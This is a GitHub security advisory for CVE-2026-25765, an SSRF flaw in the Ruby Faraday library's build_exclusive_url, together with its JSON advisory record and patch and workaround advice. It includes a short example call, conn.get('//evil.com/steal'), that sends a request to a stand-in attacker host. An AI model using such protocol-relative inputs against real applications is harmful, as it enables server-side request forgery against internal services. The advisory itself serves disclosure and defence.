GHSA-33MH-2634-FWR2
Vulnerability from github – Published: 2026-02-09 20:37 – Updated: 2026-02-13 17:16Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
ruby
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
ruby
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25765"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:37:05Z",
"nvd_published_at": "2026-02-09T21:15:49Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n that override the base URL\u0027s host/authority component.\n\n This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n `post()`, `build_url()`, or other request methods, an attacker can supply a\n protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n `/`, so protocol-relative URLs bypass it entirely.\n\n **Example:**\n ```ruby\n conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n conn.get(\u0027//evil.com/steal\u0027)\n # Request is sent to https://evil.com/steal instead of api.internal.com\n ```\n\n### Patches\n\n Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n Applications should validate and sanitize any user-controlled input before passing it to\n Faraday request methods. Specifically:\n\n - Reject or strip input that starts with // followed by a non-/ character\n - Use an allowlist of permitted path prefixes\n - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n Example validation:\n ```ruby\n def safe_path(user_input)\n raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n user_input\n end\n ```",
"id": "GHSA-33mh-2634-fwr2",
"modified": "2026-02-13T17:16:36Z",
"published": "2026-02-09T20:37:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/pull/1569"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.